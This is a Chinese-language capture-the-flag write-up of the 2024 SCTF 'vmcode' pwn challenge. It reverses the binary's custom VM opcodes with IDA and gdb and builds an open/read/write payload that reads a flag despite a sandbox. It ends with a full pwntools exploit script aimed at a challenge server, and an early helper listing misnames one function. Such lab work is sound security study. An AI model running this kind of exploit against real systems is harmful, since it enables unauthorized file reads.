2024SCTF vmcode复现
前言
自己做的第二道逻辑载入型的vmcode,后续打算把21年强网杯决赛的vmnote也复现一下
正文
初步认识
拿到题目先看看保护:没有 canary 并且 got 表可写
ida反编译一下:很奇怪,ida没有将函数逻辑正确的反编译出来,那我们需要手动调试理解逻辑。
先尝试运行一下程序:发现程序打印出shellcode后允许我们输入一些东西。
回到ida中全局查看一下字符串:
发现data段存在被打乱顺序的shellcode字符串
gdb调试一下:
进入main函数后发现内部调用了一个函数,但实际上就是下方的程序。
继续执行,发现函数不断执行这一程序片段:
前后关联调试内容初步判断这一块代码块应该是将“shellcode:”这一字符串压入到全局变量stack中:
继续执行发现执行了write,将stack内的内容打印出来:
考虑到程序内只有移除syscall没有其他调用外部输入输出函数的地方,那么程序一定会去调用syscall(0)[就是read]来接受我们的输入:
不难看出,程序接收我们输入的shellcode到code+65的地方,允许输入大小为0x50
结合前面程序将"shellcode:"这一字符串压入到stack内不难想到也是去调用的codes内的指令我们先看一下coeds内以及存储的指令:
重新调试,看一下这些指令是怎么被调用的。
程序先将code的地址加载到rax中,取出第一个字节内容付给al(rax的低8位)。
之后将rsi+1为下一次的提取指令做准备。
之后将rax&al的结果减去0x21后判断是否小于0 :
发现大于0 则跳转执行main+238处的指令:
将rax的值先放在rcx中暂存,之后将offset这个全局变量的地址加载到rax中,
将[offset+rcx(原rax的值)*2]处的值给ax后又将这个值给了rax,相当于[offset+rcx(原rax的值)*2]&0xff给rax,
将stack中压栈的地址+rax后存放在rax中,后面将重要的参数的保存后返回到rax存储的地址处。
也就说这一段代码的作用是决定函数返回到哪里去,后面的逻辑大致相同,都是加载指令到不通位置去解释执行:
这里我们也可以注意到他是根据调用的寄存器的大小来决定接下来执行的指令的长度。
通过前面的分析我们能够大概得出:
main+209是加载起始指令;
main+238这个地方是准备跳转(依据已经填写好的plt表加载相应地址);
offset存储了相对偏移,用于加载函数地址去执行指令;
我们现在就明白了这个程序的大概是内部模拟了一个libc功能,将我们输入的指令(函数的调用标识)解释后加载到对应位置去执行代码。
深入分析:
明白程序逻辑后我们就需要将程序的自定义指令集给逆出来:
我们已经有的是自定义的指令应该是大于0x21的,且指令0x26应该是类似于push的功能,将所有指令动调逆向出来的结果如下:
def push(num):
return p8(0x26)+p32(num)
def shl_8():
return p8(0x2b)
def switch1():
return p8(0x23)
def push_stack_addr():
return p8(0x31)
def switch1():
return p8(0x25)
'''
stack -->> rax
stack-0x8 -->> rdi
stack-0x10 -->> rsi
stack-0x18 -->> rdx
'''
def syscall():
return p8(0x30)
def del_sp():
return p8(0x28)
def push_code_addr():
return p8(0x32)
结合前面程序开启了沙箱,所以我们需要利用这些代码去写一个orw:
#open("./flag",0,0)
payload=push(0x67616C66)
payload+=push_stack_addr()
payload+=push(0)
payload+=switch2()
payload+=push(0)
payload+=switch2()
payload+=push(2)
payload+=syscall()
#read(3,stack+0x28,0x67616c66)
payload+=del_sp()
payload+=push_stack_addr()
payload+=push(0xf8)
payload+=switch1()
payload+=push(0x3)
payload+=push(0)
payload+=syscall()
#write(1,stack+0x10,0x100)
payload+=push(0x100)
payload+=push_stack_addr()
payload+=push(1)
payload+=push(1)
payload+=syscall()
效果:
完整exp:
from pwn import *
from pwncli import *
from pwn_std import *
import ctypes
context(os='linux', arch='amd64', log_level='debug')
p = getProcess("10.81.2.238", "10062", "./pwn")
# elf = ELF("./vuln")
def push(num):
return p8(0x26)+p32(num)
def shl_8():
return p8(0x2b)
def switch1():
return p8(0x23)
def push_stack_addr():
return p8(0x31)
def switch2():
return p8(0x25)
'''
stack -->> rax
stack-0x8 -->> rdi
stack-0x10 -->> rsi
stack-0x18 -->> rdx
'''
def syscall():
return p8(0x30)
def del_sp():
return p8(0x28)
def push_code_addr():
return p8(0x32)
#open("./flag",0,0)
payload=push(0x67616C66)
payload+=push_stack_addr()
payload+=push(0)
payload+=switch2()
payload+=push(0)
payload+=switch2()
payload+=push(2)
payload+=syscall()
#read(3,stack+0x28,0x67616c66)
payload+=del_sp()
payload+=push_stack_addr()
payload+=push(0xf8)
payload+=switch1()
payload+=push(0x3)
payload+=push(0)
payload+=syscall()
#write(1,stack+0x10,0x100)
payload+=push(0x100)
payload+=push_stack_addr()
payload+=push(1)
payload+=push(1)
payload+=syscall()
# gdbbug()
sla(":",payload)
ita()